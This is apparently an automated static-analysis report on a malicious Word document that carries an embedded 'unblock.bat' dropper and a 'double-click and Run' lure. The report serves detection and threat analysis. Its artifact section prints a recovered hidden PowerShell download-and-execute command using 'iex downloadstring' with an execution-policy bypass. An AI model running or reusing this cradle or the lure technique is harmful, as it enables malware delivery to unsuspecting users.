Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8063c3f134f4413b…

MALICIOUS

Office (OOXML)

48.9 KB Created: 2017-11-15 06:05:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-12-25
MD5: e2b78a69d59579d99213fcbd5bb8d924 SHA-1: 5b369686a712e180df9c7f066ae98c756e7a5b65 SHA-256: 8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde
182 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample is an Office document containing an embedded OLE object which is a batch script named 'unblock.bat'. Heuristics indicate this script is a download-and-execute payload. The document body explicitly instructs the user to double-click the icon and select 'Run' to unlock content, which is a social engineering tactic to bypass user caution. The batch script likely downloads and executes a second-stage payload.

Heuristics 5

  • Ole10Native package payload is a download-and-execute script critical OFFICE_PACKAGE_SCRIPT_DROPPER
    The OLE Package's embedded payload contains a script that hosts a shell (PowerShell/WScript/mshta), fetches a remote resource, and executes it — a download-and-run dropper. Embedding such a script inside an Office document via the Object Packager is a direct user-execution delivery technique (MITRE T1204.002), not a benign attachment.
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject1.bin 10752 bytes
SHA-256: adb0f6986210419afdca96ba9fe7fd64d8987aa52a1d6bca9209738be2eb2a2b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -exec bypass -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('%tmp%\\chromium_crash.txt'))"-
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML word/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 7681 bytes
SHA-256: 0ca531e4bdda0a5f2b45c5da6cf7912871947d9cb84288ec3a91942f09661cdc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -exec bypass -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('%tmp%\\chromium_crash.txt'))"-
ooxml_oleobject_00_ole10native_00_unblock.bat ole-package-payload OOXML word/embeddings/oleObject1.bin Ole10Native payload: display_name=unblock.bat; full_path=C:\Users\johni\AppData\Local\Temp\unblock.bat; temp_path=; def_file= 7378 bytes
SHA-256: 96a7471ffd53963079fe5794f699412dbd1c9baad1ad39f79a8c7254d77a6bbb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
emf_00.emf ooxml-emf OOXML EMF part: word/media/image2.emf 5180 bytes
SHA-256: fc2f3abebd8937fea16051c8972906b85c0706df3abc1e8f10f29613f3d77145

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